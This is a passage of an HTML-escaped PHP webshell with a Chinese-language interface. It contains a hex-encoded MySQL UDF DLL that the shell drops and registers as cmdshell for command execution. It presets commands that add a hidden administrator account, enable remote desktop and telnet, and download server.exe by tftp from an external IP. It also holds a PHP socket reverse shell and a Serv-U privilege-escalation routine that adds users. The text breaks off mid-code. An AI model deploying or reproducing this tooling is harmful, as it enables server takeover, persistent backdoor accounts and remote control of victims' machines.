950ce52cc19857dd16b81b3bc962db9cbbd8ea87e39e7fd59bd78e947eab77e0d16c58d3fb2530d622651b8ecefad13c7ad5bb0443720d7eef9ea65c763d1bc7886029f926071eb1debacbfb0fb551ab1d704cc82d957683c2d3d57d94c7752caf77632968b7e20ebd3fc56510657d630a227f0c9202af2870e71c231e252ecc2cde1f98f4110d6af64d4e1a88552be73e68f6283ca1a2a817b3149eed85818e499a65c19ab244bc7eb61db5ac35ed55faeca0b01664efd1f2da213274535bc7e41e1254f5a50824b12bb613b27266dabe3bd62e2145b5da0cd726d122a6281b1ca86fe9df66483ea1083573ee3ed4121837d4cc85f0eee2c02afc46e7be8eda706d3467c7fe6ee7fe5facaa9e6dd1249cfc92fd403a9cd43b9944656afb643cd54663281c71eaab46e2c63df9c0619d80e156f885ff9b02b676de154024d95345c770adcd7325468597b44d6b3d29bed4fafc002c7a987fd1bdb9febe59e350ce37610562d99286604b171ae985d20ff53c64a39831d93137cfc76810ca2c671715c09b2dfc52167240be4a6cdbc905ec95f8604149cbc9cf560f004c608306e2f90bc703be4d257c885bb7c6375a8a988431b1dde742064f0fc4b8d294c8b34844e383c1ca393acadf1c1da8ff9b13f4c70ed8208ee2c0670c1aed365ba0fce7d874fcc0addd9d74077e9d9cb230545ee35dacee2605b29a7f863bc58e0b2423a7b3a2326563210329a492cabc9f44406de4e8c14fb78d9059dbc286b6b27f01dbdc947caccee3675c19f54118d5ea0b98740e9102d2459c63811876d0a0ecd9bd55edaa60e4eecfbdef30a9ac33f952402a62c97dcb061d018c0fc6ee2760ca2eaadcdf6b397135c7875c47c36852076d607d4aac060812f601ac6f73dce3c7f50bb4aeb5369ebf65e14f43078de0dce84b270a743134db987b17710fc0d863a4791cee861a0a5568be977b1cf3b2e1eca312542df4324575f8c3e4661ed2b955bb7c48077d4952193496265740f6de6955e935cd67df798c2f77b645cb33ff297d90de4eee66384f8f5eaf5c761cde263c60619c1e1c09995d7799cc74689071abc4d310fc08f6d069cd4aa32e47beea8438d6b9aa9bdc100671c2e1b17e2014cbc782e2c7972bff99785bd2e4f2af6e6d7f46aaecc6958ddeabb52b4e93ca67fd2741af101cda966e83f822e29ec180c2bfb704a666fb9dde2ddbe8d389e98c3e3d360037860fce71598fd3444d133c21feddb993371f5f704d4ead8a116fbd09550382b62ffa1fa179b8b6eb1c9611f16a0bf4ec475aa9fb951c19c468f94fd1c2d3ec793bce76a50969ff8f39214de1f714633bbd8aced6b71034b95c38a640c51289794c4191499f9bf013e5aa9e9928b675e96ce2358b14abac50cde601ee9fdba355bc0d48900ded3bba6d8e761a5b36ab0b2480422889d0081a3adccf83cc621fbc5e110c2d2e9a5d9dab399a324c7d01ff7dac85933351e552b7b0fe2132b319b630f93e642aeb2af777627148aff3ebbf6dfebdd1985e91cdbe9a4b47bbc7e189cfd4a9de568d974d13b596f4b5c10a01b487e1191b8e742aa752ae89147256501e30918f7be67e03b4f4869c55817dd2358e438359b7cd22fd1affabd78518b91f3248e2d839ade3dcfaba45ab72519c5fcc6d7db4bee7840c1b2c23834c7d8079d42c4ff6b8b9291e0e5773b41b716bd6ea94ab8e8934eb81e9326737a06b320b1c98919f8654b0c6e2ce3b792f42465f4506e54900a654233b468ded6bcf7b99fe25754c35cb1c67dee159d9db365eda9fa979115b668008c15f3564401b4b74e082355a596b776ab5c14a7d998f844a48c8e1bf5406dddf8b56c6641dbf0cd68e7e98a2e8d2b829ee342ee65ae34c23b9d2823768fbd80024db4970abccdf91b0e92ae2fbeb2822633ee42dc7622e2ef9c7b0b60dcdd181e2271cef8e0a4a161c700b17c40fea711edd36ca33513d433f109c657d4b610be67f5b17ea714162dbf40e74576613a316bdc75f3572c0dc12fe3c7487249d00c5afaa4ad3d854ba763dabc807da78996e6585b9a6bcfe2956ee3691778ea9d6ee8027e309b066d67116d0c2eafcad749a4858c362aa0eb6d56a28aee9a2bdf22b401c6361d8d13818dbdb2e220ecddb361b622b3f1577fd50722b4f9523378249a4d5968bcf6214c9837991a576e07b556dedfe9d1e7613ee28e1edfd080c943e518582fcb90f41cc60e74a22953d67a042fb24b522db482529b6348645c622dda250b3506ce19c9f2cdb202a454db52f3f73be52026726147717f70b7d3872e4c945104eca84d4f652ac71e87c4b94470626784c6654fdd968dd81d472745d4720341d9307e436a92b29b1a419bf024b70700a0d2c1133c3911f081ba1bce9dd0b74499fc6da58e19165d5e452c8469aac1e2a2e5687b98e081f05e73122b7b4bac513d7ec8a940c648b44bba80076273189858549b283ab363d0eb9e8962462a24f1bbd96db00922744e9484f09aae326461e57da8679c14d41b1986f33682aa70d91efe6d0dd81b65d26000463b8c3429c8f93f0801d71ab1123611b93e5f3a7a278c363c6797957950849f39974d6193ab8fdef30087e1fc96db7c3b78c11c4be00ae617a04e27c74f5c83cc81a95a5cedb752118622f6196fb9853fce4897de28494d5d94763cacd6e8d97892fe00380a2a34fa194882958020ed4b39800b2b01306475074cca32d398589d4ca1686ee3a11b1f918b89948927ee3a097f737456cb43e774bf1913c7c7431b911071a4c4bd30e96e28f0d786d3826ee76c53cc875f5b827e203a8702bba2b4760d0f22f58e56180744172384f5abc11d833bf1201387ba60af29a88da9161af85a07eb4c30deb23732d60e82d415d6bd9eeae750b9284be41c5efab738a1ca5702686579806948960390ed4c0ca7d219eb1ed0cc479c4c516589783c784dbeb284e0d50ad2856b81737d1012273e69f91fbd05fa0ff37283cb44d10f41c44665ced2c42ccc15c365c05f2fbd5a7b99975627c99f5ba39e3dfe1a0b9b6efe4f9d859d33f7a5d9b080b1b7ae7d026c7d0c52ec3dc4a60e5cc7fd7c0faa209f46d531611d88635e8da5b6cbff371d6cdb40eaf94f44a90f5ef96d54a1c148c140feb739837c52c56119c1fbe898ab2242972e028faff901de8679f2d83d3e8094453a80f163dfd6218b72ecbee21a2770d4d0fa9cfe524e8d918d59df5e0e260686966e021d93504fe98e8a5a3113bfdc29a4732ee00c31b6b9471ffe1bdd91625ba0dc6314e2f7c6d14903995692a5730580894c6875679680d71d4470557c76cca1317fa1e3a437c0bb133b98b2b1934ec5ae18dca6b69f3854eae3e9156ed84abe3112abed69eb79c1251126e14b9b3924ee2453d7f3b216d22649464155a0591fc0af92ea6b810e66cce1db14d168161fc7883e994c7f0a5ff401e3f9c1f08439e4333f553c1b84b308ee8fbb2d13f8ff8247aef5b1ca08f1028d70840ea0aa923a1ed861e42358b7ae207a156e333d0f1aed6534b9a4e68b3922d4586598b710128e901855c95fa47bca65bdce83540d78a774028838677d6075eb1ecfd0ecec38650ccc45a05edda1a8e414056aa4db23404ee8fd9411f8f78930ca9713d6d465f95d0bc687bc39f27c2c0057a50e92a0c95e4f4b37411028a07ae76cf3260bb086ee656c033a3ef5b89fbc97996e06243d3f33851476afd328da79f62d1e95a27bf451b943766a50c238ad4b3dece8f4049686494642bca8ae162c69c48c8b9a89161572808b691c5638af59d2bf26b68af0a3adf17eed396890cfcec6e8aaa42742a5fe92073d66d3e2b7baa8f6c473e2f48e9c9e0f7b0b7f7f37399784a2937cc6dcd4871724b2d33a6be15add1908800c8cf92fde2d6fca5a2f55e46a9e2e19ce040739500b33100cce91b6da78009e61b066448dbe4226cc2fb0ee6a027112d9b2e200bf7d197889b3d0f945032488f614a6803b3119b368322825ce5b235a69a6f147ac2341195aa5f3c190eca877c3c66508d99f968d6a350290dffb9da9c4fb4f60b368d3aaa809fc127b2a0bd8eaefb1fa4ccda9d168065ecbbd4766b173e886abce1cf23053a4855e1d6e2f4fb2bf9c07c56fc6d2f27acb2ef8c2f012cc2898b56f32c02a70c5009dd8e35797717ffdcbd233256161ee254d1b1accd2b6133a5fc376babdc4c0d5811c89deadaed2ef047c6364a690fe998b944e996fcbf8c237dbeebf6d764f713a39e8e01efa008b949b13ae7e04017bf1d85071928869984bf78f6a3695586492efae813ce2c252dc92fb8db3beb32cb78a5b057ef9f6bc3524e462c121f4c6c3b29083979c85cfc73e8e5b2500e9785eaf5ea409134606c8a50f1fc68571303807ac06ef9bdc138cdaf1d545b361b25ec793a30c765de9b4199076f41da8ae675a21f321a4060eee1fc25bc992561ef6c1b332747f9b4517c316dd1d68b950c671cd3ea2e42480a0b82901058b355b59bf72d65f6eb33f3f49bb9bef7b514b908255051e8385386939423d47625377cfbe22f85b904dc6029c207a65288e98ff01f215c12507ce986939be440458c000f9475cb4b4704dacb7656330bd06485064678fc603392ecf35a512d76382232fe2889b8e0e7418e9264c0ff1120a56c63b3c08c0eb703464c1c4dd4ba417d11ddec9f67d814ee0c5df50c173b2634c8b6b18cda4d86047a47579847bd1490aca83c8be538bb02f4569d2e200daffd04a47089bbdb0acdf3d2e2772a0fb12d37485ec8883c1253bc84457f3670704b9ee898e978a5593b73aeef92f10f9020ec60cee25e327fe2055c0b29125f72ff67d28b31bdc778d74bd1c39ed6bf2c44ecc2a61ea5f742f6a0c1857001c1b07e56db98c6db1331bdc727a7dc98d2a3f5c5f7cba0c2fc783155c08e4eb337138dd2fc43c6aa607722b0cb90f6afe3f1226d31d5237851cc1dfed5dbc055027361094c50c67b7be979e07c9d5a3f698a9871ae81bcf53c70c611f5de85ccebf2a10cf7016e10483c6125ae8c5660f9269480ae025af71d8923d9ea95b20abe3c71e97e59b8278271dc5722dca6883ba3fc70dd206fb555af8206b03180dae4538642c1d88eea507d8d2cd3cf435660614f87f10cce23786e9376f51e47e4d3202499fa1e3fb3e2e0549e6ef0880fab18dd3032d55b32d484217349380806a72e46888d9b57bccc8aec8be2bd30007367de32d69c5b950fc82ae6b32bd7f512321c7bac127ffeb31c2d52c779ae836304f63cf89c2ec612cd32edec1fa2a7f9c128b6db5f064457dcc9817640a1d0edfce1776f20a4f531f59035345f668bea438eb47e0659f0b1e4180090a81653c7e5303739a6f87b51bef9491d498d1a51e9802d12842f5dd845a3dc54a82ee140424e26c6025939a116092a30a7ab03745b0e5ac7983b0c4537bcda2393ad2d6d24dc642c3e1aa38b4b83679722b97469f3f0e28d1aad08daabbdf3f0335f0abfd33b9bdcfc8f95829ca6064853ad2a2e856771e0c0c952369705cdef3b919340e086e073ddd9c9896e783f3610cb4ae23aa06d2bfc281bdf515696bdf1ae28eb7f8cb1e3280ca948e3d2c89b1ccb7f341fefc7ea193c7477e3d81df3799a685fa2dbd1aa8f7c6d164fa73f44c306fd495979b5b03ad9e29995ab445a89ee792b7cbe5c4829204d3418a29a6e5bc1375d575860f01fa456d8efe52b50f64f221b9372551a5d491ae31660c4928176d974136903e8cd04779424a9d09dec08654ba8bb880bdde1120039f89d38eccbac4436bf382e4e73956ee3b2be95a6659cb96412b14032b5676a321173882ae645390237ced2d62eeaae20f3f52e4c164ce074e0e2cad94dd4c189f19b88991aebc2cffcf522b373d7644c026fd890e0b652261af984a1469ce004fd3464b3949812bc602eeb055c72b2e645a3ace286d9e7d924b0604043e632a3ca026699de5484bcfa7001d5b479761a99eda72d51c9de7345ce00d4c35dfb044b8907fe1bbcb58f5b207aa748746af5e2837116c2f75d4371705986868f6de4e700fc56b91c86c1d3cb4c5c3c9016c3ab6379895fd56adc7c0613eba6d239df1bc48e218233b370930b9dd78627c87c89a4237b00f51b12f75227807372b3204e67138359a647bbe5e8f2f9114ca5518d4c582de609c2958058ce5cf095d5233abf344648bf2a91aa61cf13d6fcaf526e8c69d8a0cccd3aaf850798bc8802a2896a737eb791de6bf660e042843df3e8b68fca1065c5963fd128c7e8f1e9971f5a9f9d7131f075a98143a4de0e456eee823cf6988192a4e372172bdfbf7301bef7d260bb60126a1356857d698df62b5e7ac5e02b4bdc0f1eb22d953b95fa0c6b802f2235bbc31d04d11b46d2da5d8cd6d4f2fad666b3c0060e809000000bb930200e90602000033c95e870ee3f42bf18bdead2bd8ad03c35097ad91f3a55ead5691011eade2fbad8d6e10015d008d7d1cb51cf3ab5ead53505197588d54855cff1672572c037302b0003c0772022c03500fb65fffc1e303b3008d1c5b8d9c9d0c100000b001e3298bd72b550c8a2a33d284e90f95c652fec68ad08d1493ff165a9f12c0d0e9740e9e1af274e4b40033c9b501ff560833c9ff661cb1308b5d0c03d1ff16734c03d1ff16721903d1ff1672293c07b0097202b00b508bc72b450c8a00ff661883c260ff16875d10730c03d1ff16875d147303875d183c07b0087202b00b50538bd5035638ff560c5b91ff66303c07b0077202b00a50875d10875d14895d188bd503563cff560c6a035950483bc172028bc1c1e006b1408d9c857c030000ff56043c048bd8725f33dbd1e813db48439143d3e380f9058d949d7c010000762e80e90433c08b5500d16d088b120fca2b550403c03b550872078b550840015504ff5610e2e0b104d3e003d88d551c33c0534051d3e08bda91ff560433d259d1e813d2e2fa5b03da4359895d0c568bf72bf3f3a4ac5eb180aa3b7e247303ff6620588b4e405f5a57e31b8a074704183c0273f78b073c0775f1b0000fc80346142bc7abe2e58b5e2856528b762c46ad85c05a742203c2525697ff53fc95ac84c075fb380674e78bc679054633c066ad5055ff13abebe7595f8b4944e30d33c0ac3c04720c03f80117e2f361e9e89bfdff2c017208740ac1e008acebe866adebe4adebe1508b450852c1e80bf7228b55008b120fca2b55043bc25a761089450833c0b4082b02c1e8050102eb0e0145042945088b02c1e8052902f9589c807d0b00750bff4500c1650408c16508089dc333c0408d1483ff1613c03bc172f52bc1c3b108ff168d5204b001730bff16b0097305c1e105b011508d1c82ff56045b03c3c30e0000001e00000000000000000000000000000002000000e99702000000000000000000000000000000000000000000010000001e0000001e00000031980200e5980200a99802006022000060290000b0240000c024000060290000b0240000802c000060290000b02400008029000060290000b02400002010000060290000b02400003014000060290000b02400009016000060290000b0240000601b000060290000b0240000b01e000060290000b0240000a026000060290000b024000000000100020003000400050006000700080009000a000b000c000d000e000f0010001100120013001400150016001700180019001a001b001c001d005d990200699902007c9902008d99020099990200ac990200bd990200c3990200d0990200db990200e5990200f6990200059a02000e9a02001e9a02002c9a0200379a0200499a0200599a0200629a0200729a0200809a0200889a0200979a0200a49a0200ad9a0200bd9a0200cb9a0200d09a0200dc9a02004b696c6c50726f63657373004b696c6c50726f636573735f6465696e6974004b696c6c50726f636573735f696e69740050726f63657373566965770050726f63657373566965775f6465696e69740050726f63657373566965775f696e69740061626f75740061626f75745f6465696e69740061626f75745f696e6974006261636b7368656c6c006261636b7368656c6c5f6465696e6974006261636b7368656c6c5f696e697400636d647368656c6c00636d647368656c6c5f6465696e697400636d647368656c6c5f696e697400646f776e6c6f6164657200646f776e6c6f616465725f6465696e697400646f776e6c6f616465725f696e6974006f70656e33333839006f70656e333338395f6465696e6974006f70656e333338395f696e6974007265677265616400726567726561645f6465696e697400726567726561645f696e69740072656777726974650072656777726974655f6465696e69740072656777726974655f696e6974007368757400736875745f6465696e697400736875745f696e697400&quot;; } function Mysql_m() { $MSG_BOX = '请先连接mysql,再导出DLL,最后执行命令.MYSQL用户必须为root权限,导出路径必须能加载DLL文件.'; $info = '命令回显'; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $sqlcmd = 'ver'; if(isset($_POST['mhost']) &amp;&amp; isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; $conn = mysql_connect($mhost.':'.$mport,$muser,$mpass); if($conn) { $bl_str = mysql_get_server_info(); if(!empty($_POST['mlink']) &amp;&amp; empty($_POST['mpath'])){ if($bl_str[2]&gt;=1 &amp;&amp; $bl_str[0]=5){ $bl_sql = &quot;show variables like '%plugin_dir%'&quot;; $bl_row = mysql_query($bl_sql,$conn); $bl_rows = mysql_fetch_row($bl_row); $mpath = $bl_rows[1].&quot;/mysqlDLL.dll&quot;; $MSG_BOX = '连接成功'; }else{ $mpath = 'C:/windows/mysqlDll.dll'; $MSG_BOX = '连接成功'; } } @mysql_select_db($mdata); if((!empty($_POST['outdll'])) &amp;&amp; (!empty($_POST['mpath']))) { $mpath = File_Str($_POST['mpath']); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); $query ='create table Spider_Temp_Tab (spider BLOB);'; if(!mysql_query($query,$conn)){ $MSG_BOX = '创建临时表pider_Temp_Tab表失败'.mysql_error(); }else{ $shellcode=Mysql_shellcode(); $query =&quot;INSERT into Spider_Temp_Tab values (CONVERT($shellcode,CHAR));&quot;; if(!mysql_query($query,$conn)){ $MSG_BOX = &quot;插入自定义文件失败&quot;.mysql_error(); }else{ $mpath = File_Str($_POST['mpath']); $query =&quot;SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE '&quot;.$mpath.&quot;';&quot;; if(!mysql_query($query,$conn)){ $MSG_BOX = &quot;导出自定义dll出错&quot;.mysql_error(); }else{ $ap = explode('/', $mpath); $inpath = array_pop($ap); $query = 'create function cmdshell returns string soname \''.$inpath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? $MSG_BOX = '安装DLL成功' : $MSG_BOX = '安装DLL失败'.mysql_error(); mysql_query('DROP TABLE Spider_Temp_Tab',$conn); }}} } if(!empty($_POST['runcmd'])) { $sqlcmd = $_POST['sqlcmd']; $query = 'select cmdshell(&quot;'.$sqlcmd.'&quot;);'; $result = @mysql_query($query,$conn); if($result) { $k = 0; $info = NULL; while($row = @mysql_fetch_array($result)){$infotmp .= $row[$k];$k++;} $info = $infotmp; $MSG_BOX = '执行成功'; } else $MSG_BOX = '执行失败'; } } else $MSG_BOX = '连接MYSQL失败'; } print&lt;&lt;&lt;END
&lt;script language=&quot;javascript&quot;&gt;
function Fullm(i){
	Str = new Array(11);
	Str[0] = &quot;ver&quot;;
	Str[1] = &quot;net user spider spider /add&quot;;
	Str[2] = &quot;net localgroup administrators spider /add&quot;;
	Str[3] = &quot;net start Terminal Services&quot;;
	Str[4] = &quot;netstat -an&quot;;
	Str[5] = &quot;ipconfig&quot;;
	Str[6] = &quot;net user guest /active:yes&quot;;
	Str[7] = &quot;copy c:\\\\1.php d:\\\\2.php&quot;;
	Str[8] = &quot;tftp -i 219.134.46.245 get server.exe c:\\\\server.exe&quot;;
	Str[9] = &quot;net start telnet&quot;;
	Str[10] = &quot;shutdown -r -t 0&quot;;
	mform.sqlcmd.value = Str[i];
	return true;
}
&lt;/script&gt;
&lt;form method=&quot;POST&quot; name=&quot;mform&quot; id=&quot;mform&quot; action=&quot;?s=m&quot;&gt;
&lt;div id=&quot;msgbox&quot; class=&quot;msgbox&quot;&gt;{$MSG_BOX}&lt;/div&gt;
&lt;center&gt;&lt;div class=&quot;actall&quot;&gt;
地址 &lt;input type=&quot;text&quot; name=&quot;mhost&quot; value=&quot;{$mhost}&quot; style=&quot;width:110px&quot;&gt;
端口 &lt;input type=&quot;text&quot; name=&quot;mport&quot; value=&quot;{$mport}&quot; style=&quot;width:110px&quot;&gt;
用户 &lt;input type=&quot;text&quot; name=&quot;muser&quot; value=&quot;{$muser}&quot; style=&quot;width:110px&quot;&gt;
密码 &lt;input type=&quot;text&quot; name=&quot;mpass&quot; value=&quot;{$mpass}&quot; style=&quot;width:110px&quot;&gt;
库名 &lt;input type=&quot;text&quot; name=&quot;mdata&quot; value=&quot;{$mdata}&quot; style=&quot;width:110px&quot;&gt;
	 &lt;input type=&quot;submit&quot; name=&quot;mlink&quot; value=&quot;MYSQL连接&quot; class=&quot;bt&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;actall&quot;&gt;
可加载路径 &lt;input type=&quot;text&quot; name=&quot;mpath&quot; value=&quot;{$mpath}&quot; style=&quot;width:555px&quot;&gt; 
&lt;input type=&quot;submit&quot; name=&quot;outdll&quot; value=&quot;安装DLL&quot; class=&quot;bt&quot;&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;安装成功后可用 &lt;br&gt;&lt;input type=&quot;text&quot; name=&quot;sqlcmd&quot; value=&quot;{$sqlcmd}&quot; style=&quot;width:515px;&quot;&gt;
&lt;select onchange=&quot;return Fullm(options[selectedIndex].value)&quot;&gt;
&lt;option value=&quot;0&quot; selected&gt;--命令集合--&lt;/option&gt;
&lt;option value=&quot;1&quot;&gt;添加管理员&lt;/option&gt;
&lt;option value=&quot;2&quot;&gt;设为管理组&lt;/option&gt;
&lt;option value=&quot;3&quot;&gt;开启远程桌面&lt;/option&gt;
&lt;option value=&quot;4&quot;&gt;查看端口&lt;/option&gt;
&lt;option value=&quot;5&quot;&gt;查看IP&lt;/option&gt;
&lt;option value=&quot;6&quot;&gt;激活guest帐户&lt;/option&gt;
&lt;option value=&quot;7&quot;&gt;复制文件&lt;/option&gt;
&lt;option value=&quot;8&quot;&gt;ftp下载&lt;/option&gt;
&lt;option value=&quot;9&quot;&gt;开启telnet&lt;/option&gt;
&lt;option value=&quot;10&quot;&gt;重启&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;submit&quot; name=&quot;runcmd&quot; value=&quot;执行&quot; class=&quot;bt&quot;&gt;
&lt;textarea style=&quot;width:720px;height:300px;&quot;&gt;{$info}&lt;/textarea&gt;
&lt;/div&gt;&lt;/center&gt;
&lt;/form&gt;
	&lt;div class=&quot;actall&quot; style=&quot;width:625px;float: left;&quot;&gt;
	udf函数说明:&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspcmdshell 执行cmd;&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspdownloader 下载者,到网上下载指定文件并保存到指定目录;&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspopen3389 通用开3389终端服务,可指定端口(不改端口无需重启);&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspbackshell 反弹Shell;&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspProcessView 枚举系统进程;&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspKillProcess 终止指定进程;&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspregread 读注册表;&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspregwrite 写注册表;&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspshut 关机,注销,重启;&lt;br /&gt;
	&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspabout 说明与帮助函数;&lt;/div&gt;
	&lt;div class=&quot;actall&quot; style=&quot;width:625;float: right;&quot;&gt;
	常用命令:&lt;br /&gt;
&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspcreate function cmdshell returns string soname 'moonudf.dll'&lt;br /&gt;
&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspselect cmdshell('命令')&lt;br /&gt;
&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspselect backshell('你的ip',12345)&lt;br /&gt;
&amp;nbsp&amp;nbsp&amp;nbsp&amp;nbspnc -l -p 12345&lt;div&gt;
END;
return true; } function phpsocket() { @set_time_limit(0); $system=strtoupper(substr(PHP_OS, 0, 3)); if(!extension_loaded('sockets')) { if ($system == 'WIN') { @dl('php_sockets.dll') or die(&quot;Can't load socket&quot;); }else{ @dl('sockets.so') or die(&quot;Can't load socket&quot;); } } if(isset($_POST['host']) &amp;&amp; isset($_POST['port'])) { $host = $_POST['host']; $port = $_POST['port']; }else{ print&lt;&lt;&lt;eof
&lt;html&gt;
&lt;br&gt;&lt;br&gt;
&lt;body&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;h5&gt;反弹 cmdshell 用 php socket;&lt;br&gt;扩展项 php_sockets 应该被开启;&lt;br&gt;请检查 phpinfo();&lt;br&gt;code by &lt;a href=http://www.Wolvez.org&gt;&lt;font color=#FF67A0&gt;Maple-X&lt;/font&gt;&lt;/a&gt;&lt;br&gt;&lt;/h5&gt;&lt;br&gt;&lt;/div&gt;
&lt;form method=post action=&quot;?s=r&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;br&gt;主机:&lt;input type=text name=host value=&quot;&quot;&gt;&amp;nbsp&amp;nbsp
端口:&lt;input type=text name=port value=&quot;1120&quot;&gt;&amp;nbsp&amp;nbsp&lt;br&gt;&lt;br&gt;
&lt;input type=&quot;radio&quot; name=info value=&quot;linux&quot; checked&gt;Linux
&lt;input type=&quot;radio&quot; name=info value=&quot;win&quot;&gt;Win &amp;nbsp
&lt;input class=&quot;bt&quot; type=submit name=submit value=&quot;连接&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
eof;
echo '&lt;br&gt;&lt;br&gt;'; } if($system==&quot;WIN&quot;) { $env=array('path' =&gt; 'c:\\windows\\system32'); }else{ $env = array('PATH' =&gt; '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin'); } $descriptorspec = array( 0 =&gt; array(&quot;pipe&quot;,&quot;r&quot;), 1 =&gt; array(&quot;pipe&quot;,&quot;w&quot;), 2 =&gt; array(&quot;pipe&quot;,&quot;w&quot;), ); $host=gethostbyname($host); $proto=getprotobyname(&quot;tcp&quot;); if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))&lt;0) { die(&quot;Socket 创建失败&quot;); } if(($ret=socket_connect($sock,$host,$port))&lt;0) { die(&quot;链接失败&quot;); }else{ $message=&quot;----------------------PHP Connect-Back--------------------\n&quot;; socket_write($sock,$message,strlen($message)); $cwd=str_replace('\\','/',dirname(__FILE__)); while($cmd=socket_read($sock,65535,$proto)) { if(trim(strtolower($cmd))==&quot;exit&quot;) { socket_write($sock,&quot;Bye Bye\n&quot;); exit; }else{ $process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], $cmd); fclose($pipes[0]); $msg=stream_get_contents($pipes[1]); socket_write($sock,$msg,strlen($msg)); fclose($pipes[1]); $msg=stream_get_contents($pipes[2]); socket_write($sock,$msg,strlen($msg)); $return_value = proc_close($process); } } } } } function su() { $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; print&lt;&lt;&lt;END
&lt;div class=&quot;actall&quot;&gt;&lt;a href=&quot;?s=z&quot;&gt;[执行命令]&lt;/a&gt; &lt;a href=&quot;?s=z&amp;o=adduser&quot;&gt;[增加用户]&lt;/a&gt;&lt;/div&gt;
&lt;form method=&quot;POST&quot;&gt;
	&lt;div class=&quot;actall&quot;&gt;SU_端口 &lt;input name=&quot;SUPort&quot; type=&quot;text&quot; value=&quot;43958&quot; style=&quot;width:300px&quot;&gt;&lt;/div&gt;
	&lt;div class=&quot;actall&quot;&gt;SU_用户 &lt;input name=&quot;SUUser&quot; type=&quot;text&quot; value=&quot;LocalAdministrator&quot; style=&quot;width:300px&quot;&gt;&lt;/div&gt;
	&lt;div class=&quot;actall&quot;&gt;SU_密码 &lt;input name=&quot;SUPass&quot; type=&quot;text&quot; value=&quot;{$SUPass}&quot; style=&quot;width:300px&quot;&gt;&lt;/div&gt;
END;
if($_GET['o'] == 'adduser') { print&lt;&lt;&lt;END
&lt;div class=&quot;actall&quot;&gt;用户&lt;input name=&quot;user&quot; type=&quot;text&quot; value=&quot;spider&quot; style=&quot;width:100px&quot;&gt;
密码 &lt;input name=&quot;password&quot; type=&quot;text&quot; value=&quot;spider&quot; style=&quot;width:100px&quot;&gt;
目录 &lt;input name=&quot;part&quot; type=&quot;text&quot; value=&quot;C:\\\\&quot; style=&quot;width:150px&quot;&gt;&lt;/div&gt;
END;
} else { print&lt;&lt;&lt;END
&lt;div class=&quot;actall&quot;&gt;Cmd命令&lt;input name=&quot;SUCommand&quot; type=&quot;text&quot; value=&quot;net user ln$ 123456 /add &amp; net localgroup administrators ln$ /add&quot; style=&quot;width:600px&quot;&gt;&lt;br&gt;
&lt;input name=&quot;user&quot; type=&quot;hidden&quot; value=&quot;ln$&quot;&gt;
&lt;input name=&quot;password&quot; type=&quot;hidden&quot; value=&quot;123456&quot;&gt;
&lt;input name=&quot;part&quot; type=&quot;hidden&quot; value=&quot;C:\\\\&quot;&gt;&lt;/div&gt;
END;
} echo '&lt;div class=&quot;actall&quot;&gt;&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot; style=&quot;width:80px;&quot;&gt;&lt;/div&gt;&lt;/form&gt;'; if((!empty($_POST['SUPort'])) &amp;&amp; (!empty($_POST['SUUser'])) &amp;&amp; (!empty($_POST['SUPass']))) { echo '&lt;div class=&quot;actall&quot;&gt;'; $sendbuf = &quot;&quot;; $recvbuf = &quot;&quot;; $domain = &quot;-SETDOMAIN\r\n&quot;.&quot;-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n&quot;.&quot;-TZOEnable=0\r\n&quot;.&quot; TZOKey=\r\n&quot;; $adduser = &quot;-SETUSERSETUP\r\n&quot;.&quot;-IP=0.0.0.0\r\n&quot;.&quot;-PortNo=21\r\n&quot;.&quot;-User=&quot;.$_POST['user'].&quot;\r\n&quot;.&quot;-Password=&quot;.$_POST['password'].&quot;\r\n&quot;.&quot;-HomeDir=c:\\\r\n&quot;.&quot;-LoginMesFile=\r\n&quot;.&quot;-Disable=0\r\n&quot;.&quot;-RelPaths=1\r\n&quot;.&quot;-NeedSecure=0\r\n&quot;.&quot;-HideHidden=0\r\n&quot;.&quot;-AlwaysAllowLogin=0\r\n&quot;.&quot;-ChangePassword=0\r\n&quot;. &quot;-QuotaEnable=0\r\n&quot;.&quot;-MaxUsersLoginPerIP=-1\r\n&quot;.&quot;-SpeedLimitUp=0\r\n&quot;.&quot;-SpeedLimitDown=0\r\n&quot;.&quot;-MaxNrUsers=-1\r\n&quot;.&quot;-IdleTimeOut=600\r\n&quot;.&quot;-SessionTimeOut=-1\r\n&quot;.&quot;-Expire=0\r\n&quot;.&quot;-RatioUp=1\r\n&quot;.&quot;-RatioDown=1\r\n&quot;.&quot;-RatiosCredit=0\r\n&quot;.&quot;-QuotaCurrent=0\r\n&quot;.&quot;-QuotaMaximum=0\r\n&quot;. 